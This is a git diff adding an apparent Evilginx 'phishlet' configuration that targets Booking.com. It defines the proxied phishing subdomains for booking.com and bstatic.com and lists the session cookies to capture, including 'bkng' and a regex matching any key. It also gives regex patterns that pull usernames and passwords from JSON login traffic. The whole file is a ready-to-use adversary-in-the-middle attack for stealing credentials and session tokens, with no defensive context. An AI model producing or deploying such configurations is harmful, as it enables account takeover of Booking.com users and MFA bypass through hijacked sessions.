diff --git a/phishlets/booking.yaml b/phishlets/booking.yaml new file mode 100644 index 0000000..b0988dc --- /dev/null +++ b/phishlets/booking.yaml @@ -0,0 +1,27 @@ +author: '@Anonymous' +min_ver: '2.3.0' +proxy_hosts: + - {phish_sub: 'accounts.booking' , orig_sub: '' , domain: 'booking.com', session: false, is_landing: true} + - {phish_sub: 'account', orig_sub: 'account', domain: 'booking.com', session: true, is_landing: false} + - {phish_sub: 'secure' , orig_sub: 'secure' , domain: 'booking.com', session: true, is_landing: false} + - {phish_sub: 'www' , orig_sub: '' , domain: 'booking.com', session: true, is_landing: false} + - {phish_sub: 'join' , orig_sub: 'join' , domain: 'booking.com', session: false, is_landing: false} + - {phish_sub: 'admin' , orig_sub: 'admin' , domain: 'booking.com', session: false, is_landing: false} + - {phish_sub: 'q', orig_sub: 'q-cf', domain: 'bstatic.com', session: false, is_landing: false} + - {phish_sub: 'r', orig_sub: 'r-cf', domain: 'bstatic.com', session: false, is_landing: false} +sub_filters: [] +auth_tokens: + - domain: '.booking.com' + keys: ['bkng','.*,regexp'] +credentials: + username: + key: '' + search: '"login_name":"([^"]*)' + type: 'json' + password: + key: '' + search: '"password":"([^"]*)' + type: 'json' +login: + domain: 'account.booking.com' + path: '/' \ No newline at end of file